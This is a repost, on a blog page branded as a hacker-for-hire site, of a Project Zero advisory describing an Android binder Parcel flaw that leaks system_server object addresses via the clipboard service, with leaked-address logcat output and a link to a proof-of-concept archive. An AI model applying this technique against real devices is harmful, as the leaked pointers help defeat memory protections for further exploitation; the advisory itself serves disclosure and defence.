Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86390550

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=860

When frameworks/native/libs/binder/Parcel.cpp reads e.g. a string from a parcel, it does not verify that the string doesn't overlap with any byte range that was tagged as a binder object by the sender. When an attacker sends a parcel to a victim process that contains an unexpected binder handle referring to an object from the victim process where string data is expected, the kernel replaces the attacker-specified handle with a pointer to the object in the victim process. The victim then treats that pointer as part of the attacker-supplied input data, possibly making it available to the attacker at a later point in time.

One example of such an echo service is the "clipboard" service: Strings written using setPrimaryClip() can be read back using getPrimaryClip().

A PoC that leaks the addresses of the "permission", "package" and "clipboard" services from system_server is attached (source code and apk).

Its logcat output looks like this:

===============
[...]
01-15 05:20:54.529 19158-19158/com.google.jannh.pointerleak E/leaker: 2a85
01-15 05:20:54.529 19158-19158/com.google.jannh.pointerleak E/leaker: 7362
01-15 05:20:54.529 19158-19158/com.google.jannh.pointerleak E/leaker: 17f
01-15 05:20:54.529 19158-19158/com.google.jannh.pointerleak E/leaker: 0
01-15 05:20:54.529 19158-19158/com.google.jannh.pointerleak E/leaker: fd80
01-15 05:20:54.529 19158-19158/com.google.jannh.pointerleak E/leaker: 367b
01-15 05:20:54.529 19158-19158/com.google.jannh.pointerleak E/leaker: 71
01-15 05:20:54.529 19158-19158/com.google.jannh.pointerleak E/leaker: 0
01-15 05:20:54.529 19158-19158/com.google.jannh.pointerleak E/leaker: 4c0
01-15 05:20:54.529 19158-19158/com.google.jannh.pointerleak E/leaker: 2964
01-15 05:20:54.529 19158-19158/com.google.jannh.pointerleak E/leaker: 71
01-15 05:20:54.530 19158-19158/com.google.jannh.pointerleak E/leaker: == service "permission" ==
                                                                      type:   BINDER_TYPE_BINDER
                                                                      object: 0x000000712967e260
                                                                      
                                                                      == service "package" ==
                                                                      type:   BINDER_TYPE_BINDER
                                                                      object: 0x000000712963cfc0
                                                                      
                                                                      == service "clipboard" ==
                                                                      type:   BINDER_TYPE_BINDER
                                                                      object: 0x00000071367bfd80
===============


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40449.zip